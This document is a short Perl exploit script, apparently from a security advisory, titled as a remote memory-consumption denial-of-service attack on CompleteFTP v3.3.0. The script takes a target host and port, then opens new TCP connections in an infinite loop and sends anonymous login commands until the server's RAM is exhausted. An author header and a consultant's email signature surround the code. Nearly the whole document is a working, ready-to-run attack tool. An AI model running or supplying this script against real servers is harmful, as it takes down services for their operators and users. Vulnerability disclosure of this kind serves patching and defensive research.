#!/usr/bin/perl

Title: CompleteFTP v3.3.0 - Remote Memory Consumption DoS

Author: Jonathan Salwan <[email protected]>

Web: http://www.shell-storm.org | http://www.sysdream.com

Advisories: http://www.sysdream.com/article.php?story_id=331&amp;section_id=78

~60 sec for satured ~2Go RAM

use IO::Socket;

print "\n[x]CompleteFTP v3.3.0 - Remote Memory Consumption DoS\n";

    if (@ARGV < 1)
            {
            print "[-] Usage: <file.pl> <host> <port>\n";
            print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
            exit;
            }

    $ip     = $ARGV[0];
    $port   = $ARGV[1];
    $login  = "USER anonymous\r\n";
    $pwd    = "PASS anonymous\r\n";

    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";

    print "Please Wait...\n";

    while(){
            $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port");
            $socket->recv($answer,2048);
            $socket->send($login);
            $socket->send($pwd);
            }

–
Mehdi Mahdjoub
Consultant Sysdream IT Security
Responsable communication
Webmaster

Sysdream
4 Impasse de la gendarmerie
93400 Saint Ouen
France